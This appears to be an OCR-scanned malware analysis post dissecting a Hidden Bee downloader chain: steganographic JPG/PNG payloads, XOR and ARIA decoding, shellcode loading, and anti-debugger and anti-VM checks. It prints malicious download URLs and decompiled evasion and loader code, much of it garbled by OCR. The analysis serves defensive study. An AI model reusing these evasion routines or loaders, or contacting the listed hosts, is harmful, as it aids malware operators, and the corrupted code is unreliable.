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offset(h) 00 01 02 03 04 05 06 07 08 09 OA 0B OC OD OE OF Decoded text
00000000 [NEDERGD] T I..
00000010 |70 _06 00 RO

03 00 11 00 A
00000020 64 T7E 6E 66 66 24 6E 66 €6 00 00 OC 00 26 00 41 d~nffénff....&.R
00000030 4F 52 44 4F 46 39 38 24 6E €6 66 00 00 0OC 00 02 COXDOF98¢nff.....
00000040 00 4B 4E 5C 4B S 43 32 38 24 6E 66 66 00 00 0B . EN\KZC98Snff...
00000050 00 04 00 49 6B €2 63 64 6F 7E 24 6E €6 66 00 00 ...Ikhcdo~$nff..
00000060 QA 00 06 00 47 52 5C 42 58 SE 24 6E 66 66 00 00 ....GY\IX"$nff..

00 OO0 Q0 Qo P

00000070 6B OB 5C 88 0B Sce—zf k..
00000080 24 75 82 i1C CA %8 93 1C  $u,.0,,.ts™.E-™.
00000090 5E 98 93 1C 04 07 32 B5 50 ~-", .. kOGHY..2nP
e
00000180 87 FO 96 7C 3D RD 39 0D C7 OE E0 3D F3 16 E6 F5 *d-|=.9.C.#=4.48
00000190 7FC B0 3E 28 EA 3D 9D 7C | "> e=t]

64 L1 30 00 00 00 C3 56 d-0...4v
000001A0 8B 4C 24 08 8B 83 CO 14 38 51 07 «L$.<DE.3H.R.8Q.
000001B0 74 1C 33 F6 39 07 76 12 8B D6 83 E2 t.3859Q..Q.v.<0.4

0000B810 00 00 00 00 00 00 00 B2 03 00 00 +uvvvvvvnnns .
0000B820 BF 03 00 00 E1 00 00 13 04 00 00 Z...Bevvurnrnnns
0000B830 24 04 00 00 2D 0 00 00 47 04 00 00 $...-...B...G.
0000B840 55 04 00 00 61 00 00 9C 04 00 00 U...a...5...5.
0000B850 BF 04 00 00 CE 00 00 FA 04 00 00 z...I...i...4..
0000B8&0 01 05 00 00 79 00 00 BT 05 00 00 +.e.¥Weueeue-un
0000B870 BE 05 00 00 CA 00 00 EA 05 00 00 I...E...B...g..
0000B880 F2 05 00 00 51 00 00 74 06 00 00 #...Q...C...t.
e

Obfuscation used

This time, authors decide to obfuscate all the strings used inside the module. Now all the strings are decoded just

before use.

Ba31airs
ea3lairFe
eailaesea
aailesal
eailesss
ea3laseb
ea3l1asec
easlaesen

lea
push
push
push
call
pop
push
call

eax, [ebp-2CCh]

184h

2ax 3 _DWORD
offset unk_ 317838

decode _memory

eCx

eax 3 _DWORD

ds:ExpandEnvironmentStringshd

The decoding algorithm is simple, based on XOR:
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1| BYTE *__cdecl decode_memory( BYTE *input_arr)

2[f

3| _BYTE *output_arr; // eax

4| wunsigned int indx; // esi

5| bool is_finished; // =f

6

7| output_arr = input_arr + @x14;

8| if { input_arr[7] )

9| {
1@ indx = @3
11 is finished = *{{_DWORD *}input_arr + 4} == @;
12 input_arr[7] = 9;
13 if { lis_finished )
14 1
15 do
16 'y
17 output arr[indx] *= input_arr[{indx & 7} + 8];
18 +Hindwxg
19 }
20 while { indx < *{{_DWORD *)input_arr + 4) };
21 }
22| }
23| return output_arr;
24}

Inside the images downloader

Let’s look inside the first module in the 0x10000401 format that we encountered. This module is an initial stage,
and its role is to download and unpack the other components. One such component is in a CAB format (that’s why

we can see the Cabinet.dll among the imported DLLSs).

The role of this module is similar to the first “WASM” mentioned in our post a year ago. However, the current
version is not only better protected, but also comes with some improvements. This time the downloaded content is

hidden in the images. So, analyzing this element can help us to understand how the used stenography works.

First, we can see that the URLs are retrieved from their Base64 form:

[ a

BB311B58 mov [Ehp+arg:8], eax
BB311B5B push eax
8B311B5C lea eax, [ebptarg_g]

@B311B5F push offset basesd Str ; “SQBodHRwO1BwvMzguNzUuMTM3ILjkeOTALADC OwdiWI". ..
BB311B64 push eax

BB311B65 push esi

88311866 call basegd decode

88311866 add esp, laéh

This string decodes to a list containing URLSs of the PNG and JPG files that are going to be downloaded. For each
sample, this set is unique. None of the URLSs can be reused: the server gives a response only once. An example of
a URL set:

http://38.75.137.9:9088/pubs/wiki.php?id=937a4eadd6f5a94b3738a58dcc79cal3 http://38.75.137.9:9088/im:

So, we can confirm that this module is the one responsible for downloading and processing the observed images.

Indeed, inside we can find the functions responsible for their decoding.
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Decoding the JPG

After the payload is retrieved, the JPG header is validated.

1CB3 jz loc_311F3C

1CBE cmp byte ptr [ebx], BFFh
1CC1 jnz invalid_payload

10C7 cmp byte ptr [ebx+l1], @Dsh
1CCE jnz invalid payload

1C01 cmp word ptr [ebx+2], BEGFFh
1co7 jnz invalid_payload

1CDD cmp byte ptr [ebx+s], 'J'
1CE1 jnz invalid_payload

1CE7 cmp byte ptr [ebx+7], 'F'
1CEB jnz invalid_payload

1CF1 cmp byte ptr [ebx+5], 'I'
1CFS jnz invalid payload

1CFB cmp byte ptr [ebx+9], 'F'
1CFF jnz invalid_payload

1Des cmp byte ptr [ebx+esh], @
1De9 jnz invalid_payload

Then, the payload is decoded by simply using an XOR with the last byte. The decoded content is expected to start

from the !rcx magic ID.

—— Yy
Ll s 55
@a311069
@8311D0e9 wor_next:
B88311069 xor [eax+esi], cl
8|831106C inc eax
88311060 cmp eax, [ebx+1l8h]
ee31107@ b short xor_next
Yy
loc_311D72:
cmp [esi+d], edi
ja invalid payload
L 4
Ll e 5=
88311078 cmp dword ptr [ksi], 'xcr!’
88311081 jnz invalid payload

After decoding the content, the hash of the !rcx module is validated with the help of SHA256 hash. The valid hash

is stored in the module’s header and compared with the calculated hash of the file content.
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88311087 lea eax, [esi+d]
88311084 push 32
@@831108C push eax

28311080 lea eax, [ebptwvar_ 4]
28311098 push eax

88311091 mov [ebptarg_B], 48
@8311098 lea edi, [esi+28h]

@8311098 call j_memcpy
288311048 push 32

@831104a2 lea eax, [esi+d]
@@83110A5 push @

28@83110A7 push eax

283110A8 call j_memset
2883110AD lea eax, [ebptwvar_BC]
883110E3 push eax

@83110B4 call sha256_init
88311089 push [ebpt+var_4]
@883110BC lea eax, [ebpt+var_BC)
@@83110C2 push esi

@8@83110C3 push eax

283110C4 call sha256_hash

283110C9 lea eax, [ebptwvar_BC]
@83110CF push eax
88311008 lea eax, [esi+d]

88311003 push eax

8311004 call sha256_finish
28311009 lea eax, [esi+s]
@@831100C push 32

883110DE push eax

883110DF lea eax, [ebptwvar_4C]
@83110E2 push eax

@83110E3 call h_memcmp
@883110EE add esp, 3Ch

If the validation passed, the shellcode stored in the !rcx module is loaded. More details about the execution flow

will be given later.

okl e

@3311ELF

@9311E1F loc_311ELF: 3 _DWORD
@88311ELF push 48h

@8311E21 push 1a68h 3 _DWORD
@8311E26 push dword ptr [edi+3] ; _DWORD
@8311E29 push & 3 _DWORD

@E311E28 call ds:VirtualAlloc
BB311E31 test eax, eax

B88311E33 mov [ebp+shellcode _mem], eax
@@311E36 jz short loc_311E48
4

ol e =

@@8311E38 push dword ptr [edits]
@8311E3E add edi, 1eh
@8311E3E push edi
@88311E3F push eax
@e311E48 call j_memcpy
@8311E45 add esp, @Ch

T
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The !rcx package has a simple header:

Offsec(h) 00 01 02 03 04 05 06 07 08 0% O& OB OC OD OE OF Decoded text

00000000 Magic: !rcx
00000010 Size
00000020

00000030 SHA256

31 CO 40 90 OF 84 56 0
00000040 00 00 E8 04 00 00 00 OF 00 &0 OC 58 60 €4 BB 3
a

00000050 30 00 00 00 52 51 50 56 E& 44 00 00 00 &1 C3 ¢
00000060 54 24 04 2B 44 24 0OC 56 8B 74 24 0C 57 8D 3C O
2

1&@..,v. Code

0...RQPVED. . .al
TS.¢DS. Vet . Wi<.

2
00000070 OF BT 02 42 42 83 F8 41 7C 08 83 F8 54 7F 03 83 . -.BB.fA|..fZ...
00000080 CO 20 OF BT OE 46 46 83 F9 41 7C 08 83 F3 54 7F R .-.FF.GA[..4Z.
Q00000090 03 B3 C1 20 3B D7 73 04 3B C1 74 D4 5F C1 5E ..A .:*S.:f&t(n)_ﬂax"

2B
0D0O000AD C3 55 8B EC 83 EC 4C 8B 45 08 53 56 57 8B 70 0C AU«&.EL<E.SVW<p.
0D0000BD 6A &C 58 33 C9 66 89 45 BE 66 89 45 C8 66 89 45 J1X3EFREIfECT%E
000000CD CA 66 B89 45 EE &6 B9 45 FO €6 89 45 F& 66 89 45 Ef%EifkEdfLEGTLE

Decoding the PNG

Retrieving the content from the PNG is more complex.

883116CE loc 3116CE:

883116CE lea eax, [ebptvar 8]
88311601 push a8

88311603 push eax

88311604 push edi

88311605 wor esi, esi
88311607 mov [ebp+var_8], &%h
8831160E mov [ebp+var_ 7], 'P'
8831160F mov [ebp+var_&], 'N'
8B83116E3 mov [ebp+var 5], 'G'
8B83116E7 mov [ebp+var_4], @Dh
BB3116EE mov [ebp+var_3], eah
BB3116EF mov [ebp+var_2], 1Ah
BB3116F3 mov [ebp+var_1], @sah
B83116F7 call j_memcmp
883116FC add esp, @Ch

The function decoding the PNG has the following flow:
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Eleccded_lsuf = 8;
png_hdr = @x89u;

Vi3 = 'P';
vid = 'N';
vis = 'G';
V16 = '\r';
V17 = '\n';
vi8 = 263

vi9 = 10;

if ( !j_memcmp(payload, &png hdr, 8) )

decoded_buf = (_BYTE *)decode_from_png(payload, functions_list, &size);
result = free(payload);
if ( decoded buf }

if ¢ !(size & 3) )

buf_ptr = deceded_buf;
aria_set_key((unsigned int *)&crypt_ctx, aria_key_ptr + 4, *(_DWORD *)aria_key ptr);
j_memset(aria_key_ptr + 4, @, *(_DWORD *)aria_key ptr);
if ( size )
{
do
{
aria_crypt_round(&crypt_ctx, buf_ptr, buf_ptr);
index += 163
buf_ptr += 16;

while ( index ¢ size };

}

if ( *decoded_buf == 'M" && decoded_buf[1] == 'S’ && decoded_buf[2] == "C' && decoded_buf[3] == 'F' )
if ( unpack_cab{&v18, (int)}decoded_buf, size} }

module_name = decode_memory((int)sub_317EE4);// "bin/i386/core.sdb”
load_from_package(index, (int)decoded_buf, (int)&v1@, module_name, @);
free_module(&vin);
b
¥

b
result = free(decoded_buf);
b

return result;

It converts the PNG into byte content and decrypts it with the help of ARIA cipher. The result should be a CAB

format. The unpacked CAB is supposed to contain a module “bin/i386/core.sdb” that also occurred in our previous

encounters with Hidden Bee.

The authors are careful not to reuse URLSs as well as encryption keys. That’s why the Aria key is different for

every unique payload. It is stored just after the end of the 0x10000401 module :

QOOQOBET7O 04 74 00 00 1E 74 00 00 24 74 00 00 2A 74 00 00 .t...t..5tc..*%c..
OO00OBEBO 30 74 00 OO0 36 74 00 00 pEEGDERE-EAcEhHRR-Toll! Ot..6C..[. .0F= \a
bR " ES Ec 17 BB 96 EC ERL CS EF glveleRelvEuTiams[eRile] I:lé.t—égEElI ......
O000BERD OO OO OO0 OO OO OO0 OO0 OO0 OO0 OO0 00 00 00 00 00 00 . ..eevereinnnnns

During the module’s loading, the key is rewritten into another memory area, from which it is used to decrypt the

downloaded module.
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@83185C4 movzx  ecx, word ptr [esi] ; copy the ARIA key

@83185C7 mov [eax], ecx

B883185C9 mov eax, ds:aria_key ptr
@83185CE push dword ptr [eax]
Be318s08 add eax, 4

28318503 push ebx
@e31es04 push eax
@831es05 call Jj_memcpy
a831esDA add esp, @Ch

vrlrff

[l i =
Ba3lesin
88318500 loc 31e5D0:
28831850l cmp ds:iaria_key ptr, 8
B83185E4 jnz short continue_te download
Yy Y
Mz
B@31a85E6 BB3185EE
@83185E6 loc_31@5E6: ; _DWORD| |@@31@5EE |continue to download: ; _DWORD
@B3185E6 push a8 B@3185EE push 7
@83185E8 call ds:ExitProcess B83185F8 call ds :SetErrorMode
@a3185F6 mov eax, [ebp+param]
@831e5F3 push dword ptr [eax+eCh]
@e31e5FC call download and decode images
@e318681 jmp loc 31@AF1

The CAB file retrieved from the PNG is available here: 001bdc26b2845dcf839f67a8760c6839

|Z > |E| Location: | s /bin/i386/

Name v  Size Type Modified
2 core.sdb 26.7 kB unknown 01 January 1970, 01:00

It contains core.sdb (d1la2fdc79c154b120a0e52c46a73478d). That is a second module in Hidden Bee’s custom

format.

Inside core.sdb
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This module (retrieved from the PNG) is a second downloader component in the 0x10000401 format. This time, it
uses a custom TCP-based protocol, referenced by the authors as SLTP. (This protocol was also used by the

analogical component seen one year ago). The embedded links:

sltp://dns.howtocom.site:1108/minimal.bin?id=998 sltp://bbs.favcom.space:1108/setup.bin?id=999

Execution flow

1. Checks for blacklisted processes. If any are detected, exits.

2. Removes functions:

DbgBreakPoint

DbgUserBreakPoint
by overwriting their beginning with the RET instruction.
3. Checks if the malware is already installed. If yes, exits.
4. Creates an installation mutex

{71BB7F1C-D700-4487-B9C6-6DDI863DFEI1}-ins.

5. If the module was run with the flag==1:

1. Connects to the first address:
sltp://dns.howtocom.site:1108/minimal.bin?id=998

2. Sets an environment variable
INSTALL_SOURCE

to the value given as an argument.
3. Runs the downloaded next stage module.
6. If the module was run with the flag!=1:
1. Performs checks against VM. If detected, exits.
2. Connects to the second address:

sltp://bbs.favcom.space:1108/setup.bin?id=999

. This time, appends the victim’s fingerprint to the URL. Format:
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&sid=&sz=&os=8ar=

3. Runs the downloaded next stage module.

Defensive checks

At this stage, many anti-analysis checks are deployed. First, there are checks to detect if any of the blacklisted
processes are running. The enumeration of the processes is implemented using a low-level function:

NtQuerySystemInformation with a parameter 5 (

SystemProcessInformation

).
36 j_memset((int)vl, @, SystemInformationLength);
37 if ( !NtQuerySystemInformation(v3, 5, v2, SystemInformaticnLength, &SystemInformationLength) )
38
39 while ( !'blacklisted_processes[@] )
4a
41|check_next:
42 if ( !'*(_DWORD *}v2 )
43 gotoe finished;
a4 v2 += *{_DWORD *)v2;
45
46 c_name = blacklisted processes;
47 _next_proc_name = blacklisted processes;
8 while ( 1 )
49 {
5@ RtlInitUnicodeString(&ve, *next_proc_name);
51 if ( (_WORD)vG == *((_WORD *)v2 + 28) )
£
53 if ( (unsigned _ int8)RtlEqualUnicodeString(&ve, v2 + 56, 1) )
54 break;
55 3
56 next_proc_name = _next_proc_name + 1;
57 _next_proc_name = next_proc_name;
58 if ( !*next_proc_name )
59 goto check_next;
68 3
61 blacklisted_found = 1;
62
63[finished:
64 LocalFree(v7);
65
66 return blacklisted found;
57[}

The blacklist contains popular debuggers and sniffers:

» < » <« » <«

“devenv.exe” , “wireshark.exe”, “vmacthlp.exe”, “procmon.exe”,

» <«

ollydbg.exe”, “idag.exe”,

» G

“ImmunityDebugger.exe”, “windbg.exe”

» G

“EHSniffer.exe”, “iris.exe”, “procexp.exe”, “filemon.exe”, “fiddler.exe”

The names of the processes are obfuscated, so they are not visible on the strings list. If any of those processes are

detected, the execution of the module terminates.

Another function deploys a set of anti-VM checks. The anti-VM checks include:
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45| ms_exc.registration.Trylevel = @;
47| CPUID check(&v27, @x40080000);
48| *{ _DWORD *)v33 = v28;

49| *(_DWORD *)&v33[4] = v29;

58| *(_DWORD *)&33[8] = v3e;

51| ms_exc.registration.TrylLevel = -1;
52| HIBYTE(v34) = @;

53| 1if ( VPCEXT_check() }

54 goto set wm_flag;

55| if ( vMWare_io check() )

56 goto set_wm_flag;

CPUID with EAX=40000000 (a_check for Hypervisor’s Brand):

- a

B24335CE push hBBBBBBBh
B2433500 lea eax, [ebpt+var_s544]
82433506 push eax

82433507 call CPUID check

82433414 pusha

82433418 mov eax, [ebptarg_ 4]
B243341E xor ebx, ebx
B2433420 xor BCH, BCN
82433422 wor edx, edx
82433424 cpuid

B2433426 mov edi, [ebp+arg_e]

The VMWATre 1/0O Port (more details [here]):

@2433534 mov eax, VMKh'

@243353F mov ehx, @

82433544 mov ecx, Bah

82433549 mov edw, VX'

B243354E in eax, dx ; check for WWware
B243354F cmp ebx, "VMxh'

B2433555 set:z [ebp+var_1C]

VPCEXT instruction (more details [here])

82433483 push ebx
B824334B4 mov ebx, @
B824334B9 mov eax, 1
B24334BE wpcext 7, @Bh
@24334C2 test ebx, ebx
B24334C4 setz [ebp+var_1C)

Checking the list of common VM vendors:
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ve = decode_memory(&str_XenVMMXenViMM) ; JI " XenVMMenviiM™

if { !strncmp{v33, wve, 12} )
goto set_wm_flag;

vl = decode_memory(&str_VMWareVMware); J "VMwareVMware”

if ( Istrncmp(v33, vi, 12} )
goto set vm_flag;

w2 = decocE_memory{&str_KUHWHKUH}; £ KVMKVMVM"

if { !strncmp(v33, v2, 12} )

goto set_wvm_flag;
v3 = decode_memory({&str KVMIKVMKVM) ; JI T IEMEVMICVM™
if { !strncmp{v33, v3, 12) )

goto set_wm_flag;
vd = decode_memory(&unk_2435F78); " lrpepyh  wr
if ( !strncmp(v33, v4, 12) )

goto set_vm_flag;
v5 = decode_memory(&unk 2435F58); // "sbiedll.dll™

if { GetModuleHandleA(vS) )
goto set_wm_flag;

if { leetComputerNameW(Buffer, &nSize) )
goto set_wm_flag;

= (const WCHAR *)decode_memory(dword_2435F34);// L"SANDBOX"

WE
if ( !lstrecmpilW(Buffer, wv&) )
goto set_vm_flag;
nsize = 1824;
if ( !GetUserNameW(Buffer, &nSize) )
goto set_wm_flag;
w7 = {const WCHAR *)decode_memory(&unk_2435F88);//
if { !1strompiW(Buffer, w7} )
goto set_wm_flag;

= (const WCHAR *)decode memory(dword 2435F34);// L"SANDBOX"

wB
if { !1strempil{Buffer, wva) )
goto set_vm_flag;

Checking the BIOS versions typical for virtual environments:

83
98
91

92| StrStrIA = GetProcAddress(shlwapi dll, va);

93| if ( !strstria )

94 goto not_detected;

95 j_memset((int)Buffer, @, 2848);

96| w12 = decode_memory(&unk_2435EA8); // "SystemBiosVersion™

97 w13 = decode_memory(&byte_2435E70); // "HARDIWARE\DESCRIPTION\System"”
98| if ( read_registry_key(v13, v12, (BYTE *)Buffer, @) )

99

1ee if ( ((int (__stdcall *)(WCHAR *, const char *))strstrIA)(Buffer, "VBOX") )
181 goto set_vm_flag;

182| }

183 v14 = decode_memory(&unk_2435E48); // "VideoBiosVersion”

184 w15 = decode_memory(&byte_2435E78); // "HARDWARE\DESCRIPTION\System"
185 if ( read_registry key(v15, w14, (BYTE *)Buffer, @) )

186 {

187 V16 = decode_memory(&unk_2435E28); /4 "virtualBox"

108 if ( ((int (__thiscall *)(int, WCHAR *, _BYTE *))StrStrIA)(vl7, Buffer, v16) )
189 goto set_wvm_flag;

110| }

111 w18 = decode_memory(&unk_2435EA8); // "systemBiosVersion™

112 v19 = decode_memory(&str Windows_CurrentVersion};// "SOFTWARE\Microsoft\Windows\CurrentVersion”
113 if ( read_registry_key(v19, w13, (BYTE *)Buffer, @)

114 &8 ((idl = decode_memory(&unk_2435DB4), ((int (

115 || (id2 = decode_memory(&unk_2435D88), ((int (_ thiscall *)(int, WCHAR *, _| *)
116 || (id3 = decode_memory(&unk_2435D5C), ((int (_ thiscall *)(int, WCHAR *, BYTE *))StrStria){v2s, Buffer, id3))) )// "76487-337-8429955-22614"
117

118|set_vm_flag:

119 vm_detected = 1;

128

121| else

122 {

123|not_detected:

124 vm_detected = @3

125

126 return vm_detected;

127]}

v3 = decode_memory (&unk_2435EE8); /{ "strstria”
v18 = decode_memory(&unk_2435ECE); /7 "shlwapi.dll”
shlwapi_dll = LoadlLibraryA(v1@);

Detection of any of the features suggesting a VM results in termination of the component.

Downloading new modules
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The next elements of HiddenBee are downloaded over the custom “STLP” protocol.

B24348F6 lea eax, [ebpt+var_48)]
B24348F9 push offset asltp ; "sltp”
B24348FE push eax

B24348FF call j_strcmp

e2434984 pop ecx
82434985 test eax, eax
@24349a87 pop ecx
82434988 jnz loc_2434AD9

The raw TCP socket created to communicate using the SLTP protocol:

socket = WSASocketA(2, 1, @, @, @, lu); // address family: 2 (AF_INET)
// type: 1 (SOCK_STREAM)
f/ protocol : @ (unspecified)
// lpProtocolInfo: NULL
// group: NULL
#/ flags: 1 (WSA_FLAG_OVERLAPPED)

vB[13] = socket;
if ( socket I= -1
i
vInBuffer = @x25A287B9;
w32 = @xDDF3u;
Vi3 = @x4660;
vid = @x8Eu;
w35 = @xE9u;
viE = @x7e;
= @xE5u;
= @Bx8Cu;
39 = Bx74;
= B;
val = @x3E;
if ( BindIoCompletionCallback(socket, LpoverlappedCompletionRoutine, @) )
{
callback = @3
if ( WSAToctl(vG[13], @xC880@886, &vInBuffer, @x18u, &callback, 4u, (LPODWORD}&cbBytesReturned, @, @) I= -1 )
*(_DWORD *)name.sa_data = @;
*(_DWORD *)&name.sa_data[4] = @;
*(_DWORD *)&name.sa_data[8] = @;
*(_WORD *)&name.sa_data[l2] = @;
23
viz = vB[13];
name.sa_family = 2;
*(_WORD *)name.sa_data = @;
*(_DWORD *)&name.sa_data[2] = @;
if ( bind(viz, &name, 16) != -1 )
j_memset((int)ve, @, 28);
if ( 'callback(ve[13], &v26, 16, @, @, &cbBytesReturned, ve) && WSAGetLastError() == Ox3ES )
return 1;
}
1

closesocket(ve[13]);

The communication is encrypted. We can see that the expected output is a shellcode that is loaded and executed:
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do
{
5 = vA[1];
i S )
if (w5 ==2)
{
B = *(va - 1);
if (w6 + *vd > a2 )
break;
fz zize = *yd:
=_=LleE St |
ustom_fs = & buffer[ve];
}
}
else
if ( *(v4 - 1) + *va > a2 )
break;
new_module = (wvoid (_ stdcall *)(int (_ stdcall **)(int), _BYTE *, DWORD))VirtualAlloc(®, *v4, Bx1006u, Bx40u);
if ( new_medule )
j_memepy((int)new_medule, (int)& buffer[*(v4 - 1)], *v4);
++bufferaz
vd += 3;
b
while { (unsigned int)buffera < *({_DWORD *)_buffer + 1} };
if { new_module )
{
if ( custom_fs }
{
F malloc,
(__stdecall *)(int))to_memcpy;
int))virtualAlloc;
T i int {__ int))virtualFree;
decode memory(&lnput arr); /! "IwQueryInformationProcess”
= decode_memory (&str_ntdll d1ll);
/8 = GetModuleHandlef(v7);
functions_list[5] = ( nt (__stdecall *)(int))GetProcAddress(vs, v9);// ZwQueryInformationProcess
new_module(functions list, custom_fs, fs_size);
VirtualFree(new_ medule, @, axseebu) ;
}
}

The way in which it is loaded reminds me of the elements we described recently in “Hidden Bee: Let’s go down

the rabbit hole“. The current module loads a list of functions that will be passed to the next module. It is a
minimalistic, custom version of Import Table. It also passes the memory with the downloaded filesystem to be

used for further loading of components.

The !rcx package

This element retrieves the custom filesystem used by this malware. As we know from previous analysis, Hidden
Bee uses its own, custom filesystems that are mounted in the memory of the malware and passed to its
components. This filesystem is important for the execution flow because it contains many other components that

are supposed to be installed on the attacked system in order to continue the infection.

As mentioned before, unpacking the JPG gave us an !rcx package. After this package is downloaded, and its
SHA?256 checksum is validated, it is repackaged. First, at the end of the !rcx package, the list of URLs (JPG,
PNG) from the previous module is copied. Then, the ARIA key is copied. The size of the module and its SHA256

hash are updated. Then, the execution is redirected to the first stage shellcode fetched from the !rcx.

This shellcode was the one that we saw at first, after decoding the !rcx package from the JPG. Yet, looking at this
part, we do not see anything malicious. The elements that are more important are well protected and revealed at

the next execution stages.

The shellcode from the !rcx package is executed in two stages. The first one unpacks and prepares the second.

First, it loads its own imports using hardcoded names of libraries.
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eaeaaaBl sub edi, ecx

282883 mov [ebp+var_4C], EEh ; "K'
BERBEAEY mov [ebp+var_4aA], &5h ; ‘e’
BPRBBAEF mov [ebp+var_48], 72h ; 'r'
2eepaacs mov [ebp+var_46], GEh ; 'n’
aeesaacE mov [ebp+var_44], &65h ; 'e'
aeaeea0l mov [ebp+var_4@], 33h ; '3°
aeae8a07 mov [ebp+var 3E], 32h ; '2°
282800 mov [ebp+var_3C], 2Eh ; ".°
2E28ERE3 mov [ebptvar_3A], E4h ; "d°
BERBBAES mov [ebp+var_18], &Eh ; 'n’
BEBBBAEF mov [ebp+var_16], 74h ; 't'
BERBRAFS mov [ebp+var_14], &64h ; 'd’
BERBRAFE mov [ebpt+var_E], 2Eh ; ".'
2eae8181 mov [ebp+var _C], &4h ; "d’
aeaee187 mov ebx, [esi]

The checksums of the functions that are going to be used are stored in the module and compared with the names

calculated by the function:

llunsigned int _ stdcall calc_checksum(_ BYTE *func_name)
2

3| _BYTE *_func_name; // edx

4| unsigned int checksum; // eax

5| char next_char; // cl

G| unsigned int prev_res; // esi

7| int _next _char; [/ eax

a8

9| _func_name = func_name;

18| checksum = @;

11| for { next_char = *func_name; next_char; ++ _func_name )
12| {

13 prev_res = (checksum >» 13) | (checksum << 19);

14 _next _char = next_char;

15 next_char = func_name[1];

16 checksum = prev_res + _next_char;

17| 1}

13| return checksum;

19[}

It uses the functions from kernel32.dll: GetProcessHeap, VirtualAlloc, VirtualFree, and from ntdIl.dll:
RtlAllocateHeap, RtlFreeHeap, NtQueryInformationProcess.

The repackaged !rcx module is supposed to be supplied as one of the arguments at the Entry Point of the first

shellcode. It is most important because the second stage shellcode will be unpacked from the supplied !rcx

package.
Ll 4
2eesal99 mov ebx, [ebpt+arg_C]
aeesaloc mov ecx, [ebx+d]
2eae819F cmp dword ptr [ecx], 'ker!’
Geaa81AS jnz loc_28B

A new memory area is allocated, and the second stage shellcode is unpacked there.
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new_module_ep = 83

vl5 = GetProcessHeap(8, *((_BYTE **}i + 2));
vl6 = (_BYTE *)RtlAllocateHeap(vlS);

indx = @;

buffer = vle:

if ((vie )

1

if ( *((_DWORD *)i + 2) > @u )

w18 = i + 16 - v16;

do

{
++inde;
*v16 = v16[v18] ~ @xEl;
+vl6;

h
while ( indx < *({_DWORD *}i + 2) };
_to _rcx_ptr = to_rcx_ptr;

allocated bufl = (unsigned _ intl6 *)_allocated_bufl;
if ( decode_module(
(int)&virtualalloc,// loaded_functions_list
(int)buffer,
*((_DWORD *)i + 2),
(int)_allocated_bufl,
F((_DWORD *)i 4 3)) == *((_DWORD *)i + 3) )
new_module_ep = allocated bufl;
v2@ = GetProcessHeap(@®, buffer});
RtlFreeHeap(v2e);
if ( new_module_ep )
((void (_ stdeall *)(int (_ stdcall **)(_DWORD, _DWORD, signed int, signed int), int, _DWORD, _DWORD)}new module ep)(
&virtualalloc, // loaded_functions_list
flag,
_to_rcx_ptr[1],
*_to_rcx_ptr);

result = (unsigned _ intlé *)VirtualFree(_allocated_bufl, @, @x3000);

Inside the second shellcode, we see strings referencing further components of the Hidden Bee malware:
/bin/i386/preload /bin/i386/coredll.bin

The role of the second stage is unpacking another part from the !rcx: an !rdx package.

if (Crdx ptr )

w32 = v18[3];
crypt_init(&crypt ctx, &crypt keybuf);
dec_size = @;
if ( wie[2] )

{
chunk_ptr = (_BYTE *)sizea;
for { 1 = (int)((char *)v18 - sizea + 16); ; i = (int)}({{char *)vl@ - sizea + 16} )
1
crypt_round{chunk_ptr, &chunk_ptr[i], (int)&crypt_ctx);
dec_size += 16;
chunk_ptr += 16;
if ( (unsigned int)dec_size »= v1e[2] )
break;
b

rdx_ptr = _rdx_ptr;

if ( decompress{(int)functions_list, (int)rdx_ptr, &332, sizea, v18[2]) )
goto LABEL_38;
w17 = ((int (__stdcall *)(signed int, signed int))}functions_list[2])(8, 12);

w18 = (_DWORD *)((int (__stdcall *)(int))functions_list[3])(v17)};
v3id = vl1g;
if ( 'vis )

goto LABEL_38;
*v18 = rdx_ptr;
if ( *rdx ptr == ‘fdr!’
1
v18[1] rdx_ptr + 13
v1g[2] = vie[3];

}
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aeeessly mov [eax], ebx
aeeerslE cmp dword ptr [ebx], 'xdr!’
@eeae621 jnz short loc 631

From our previous experience, we know that the !rdx package is a custom filesystem containing modules. Indeed,

after the decryption is complete, the custom filesystem is revealed:

HESEESER FUSH ERX
HASEESE 1 CALL HBESEZESE crypt_init
HASEESEE AHD OWORD FTE S5:[EEBF+EXC]. G:&
HASEESER CHF OWORD PTR DS:[ESI+E4S],@xE
HESEEEEE |+ | JEE SHORT HBRSSHSF2

BASEEECH HMal EEX, OWORD FTE S5:[EEF+8x18]
BASEESCS LEA ERX,DOWORD PTR DS:[ESI+@x18]
BESEESCE SUE ERH, EBX

HESEESCE MO OWORD FTRE S5: [EEF+EXE1. EAX
FESEESCE [+ | JHP SHORT EBRS&RS0E

HASEESCD Mal ERx, OWORD FTR S5:[EEBF+E25]
BASEES0R LER ECX,OWORD PTR 55:[EBP-8u15C]
HESEEE0E ROD ERX, EBX

BASEEE0S FUSH ECH

BASEES0Y FUSH ERX

BESEES0A FUSH EEX

HESEES0E CALL BBS&z192 crypt_round
HESEESER AOD OWORD FTR S5:[EEF+8MC]. 0= 19
HHSEESES AODO EE:X, Ex 1@

HASEEASET Mo ERX, OWORD FTE S5: [EEBF+ExC]
HESEESER CHP ERX, OWORD PTE DS:[ESI+E#E]
BEASEESED |~ | JE SHORT GAS&ESCD

BASEESEF MOL EEX, OWORD FTRE S5: [EEF-B8181
BESEESF 2 FUSH OWORD PTR DOS5:CESI+@xE]
HESEESFS LER ERx, OWORD PTR S55: [EBFP-B2C]
HESEESF S FUSH OWORD PTR 55: CEEP+@:168]
HHSEESFE FUSH ERX

HASEESFC FUSH EEX

HHSEEEFD FUSH EDI

CALL B8SEBEAE

ARG E TEST ERX,ERAX

BESEEEES [+ | JHE SHORT BBS&EE4E

HESEEEET FUSH &xiC

FHSEEEED FUSH &x3

CHLL DHERD FTR DO5:CEDI+@R:3] kernel32.GetProcessHeap

e e e TR

4
ERx=BE88E8EHE

Address | Hen dump ASCIT

gizipadclzl 72 64 FEIZ2 BE DR B0 ED @1 DB B0 20 G5 08 08| frda'™.. .70, 08,
HlzigEcs| 62 69 6E ZF 69 22 38 3¢ 2F ¥@ 72 65 &C &F &1 4| bin-iZ8é-preload
HisiBEcc| 08 B0 45 A8 08 B8 60 B3 08 B8 BA 2C 81 88 62 69| ..E...rll. .. B.b1
BisieErs|6E 2F 61 6D &4 35 34 2F 63 6F 72 65 &4 6L &0 ZE|n-amdéd-coredll.
EizipEzci 62 69 EE BB DA &4 OB B0 BB &D 24 Bl B8 B8 89 08 bin..d...mdB....
EizipEscied 62 €9 6B 2F &1 D 64 26 24 2F 7O ¥2 &£ &C &F|.binsamdedsprelo
